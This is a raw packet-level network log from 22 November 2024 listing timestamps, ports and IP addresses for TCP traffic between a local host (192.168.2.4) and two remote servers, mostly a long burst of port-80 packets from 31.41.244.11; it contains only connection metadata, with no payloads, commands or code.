Nov 22, 2024 04:12:14.260179043 CET	49769	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:14.260194063 CET	443	49769	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:14.295896053 CET	49774	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:14.295923948 CET	443	49774	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:14.295978069 CET	49774	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:14.296297073 CET	49774	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:14.296313047 CET	443	49774	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:14.360630035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.360682011 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.360706091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.360747099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.361068964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.361110926 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.361186028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.361224890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.361953020 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.361991882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.362063885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.362104893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.362829924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.362873077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.362950087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.362994909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.363708019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.363748074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.363810062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.363848925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.364588022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.364626884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.364722967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.364770889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.365484953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.365530014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.365592957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.365638018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.366369963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.366413116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.366475105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.366523027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.366627932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.367238998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.367295027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.367336988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.367369890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.368139029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.368179083 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.368232965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.368271112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.369007111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.369054079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.369111061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.369152069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.369884014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.369935036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.370008945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.370049953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.370774984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.370815992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.370876074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.370913982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.371687889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.371725082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.371786118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.371824026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.372536898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.372576952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.372665882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.372704029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.373455048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.373497009 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.373534918 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.373570919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.374321938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.374361992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.374443054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.374483109 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.375206947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.375246048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.375300884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.375339985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.376101971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.376147985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.376184940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.376229048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.376972914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.377017021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.377087116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.377130032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.377877951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.377918005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.377988100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.378031015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.378748894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.378789902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.378856897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.378896952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.379638910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.379678011 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.379735947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.379775047 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.380532980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.380569935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.380642891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.380682945 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.381416082 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.381453991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.381520987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.381567001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.382289886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.382330894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.382371902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.382412910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.383218050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.383255959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.383333921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.383373022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.384072065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.384113073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.384171009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.384210110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.384938002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.384983063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.385016918 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.385063887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.385799885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.385842085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.385912895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.385951996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.386708021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.386756897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.386818886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.386866093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.387603998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.387650967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.387695074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.387741089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.388463020 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.388514996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.388552904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.388597965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.389352083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.389390945 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.389451981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.389488935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.390254021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.390302896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.390450954 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.390495062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.391124964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.391163111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.391227961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.391266108 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.392036915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.392081976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.392222881 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.392268896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.392890930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.392935038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.393018007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.393057108 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.393790960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.393835068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.393892050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.393932104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.394659042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.394701958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.394767046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.394805908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.395549059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.395597935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.395654917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.395694971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.396423101 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.396471024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.396569014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.396617889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.397337914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.397381067 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.397445917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.397490978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.398231983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.398277998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.398335934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.398375988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.399075985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.399116993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.399223089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.399269104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.400002956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.400068045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.400104046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.400146008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.400878906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.400921106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.400979996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.401016951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.401809931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.401856899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.401941061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.401985884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.402623892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.402667999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.402743101 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.402786016 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.403507948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.403547049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.403583050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.403626919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.404134989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.404181004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.404237986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.404278994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.405035019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.405073881 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.405143976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.405181885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.405914068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.405956030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.406033039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.406078100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.406785965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.406825066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.561920881 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.561975956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.562025070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.562072039 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.562319994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.562366009 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.562469959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.562513113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.563206911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.563241959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.563270092 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.563293934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.564083099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.564132929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.564167023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.564208984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.564997911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.565037012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.565066099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.565108061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.565862894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.565903902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.565941095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.565983057 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.566735029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.566776991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.566817999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.566860914 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.567620993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.567665100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.567749977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.567796946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.568490982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.568533897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.568629026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.568670034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.569358110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.569401979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.569461107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.569505930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.570239067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.570282936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.570424080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.570467949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.571135044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.571177959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.571238995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.571281910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.572007895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.572052956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.572124004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.572166920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.572917938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.572959900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.573050976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.573096991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.573796988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.573843002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.573910952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.573952913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.574661970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.574707031 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.574790001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.574831009 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.575565100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.575608015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.575645924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.575689077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.576451063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.576493979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.576525927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.576567888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.577337980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.577382088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.577483892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.577527046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.578222036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.578263044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.578345060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.578387022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.579092026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.579134941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.579204082 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.579242945 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.579962015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.580003023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.580073118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.580116987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.580862045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.580904961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.580981016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.581022978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.581758022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.581799984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.581871986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.581914902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.582622051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.582664967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.582784891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.582825899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.583522081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.583564043 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.583638906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.583681107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.584464073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.584507942 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.584554911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.584597111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.585315943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.585366964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.585438967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.585480928 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.586210966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.586256027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.586338997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.586380005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.587095022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.587137938 CET	49760	80	192.168.2.4	31.41.244.11
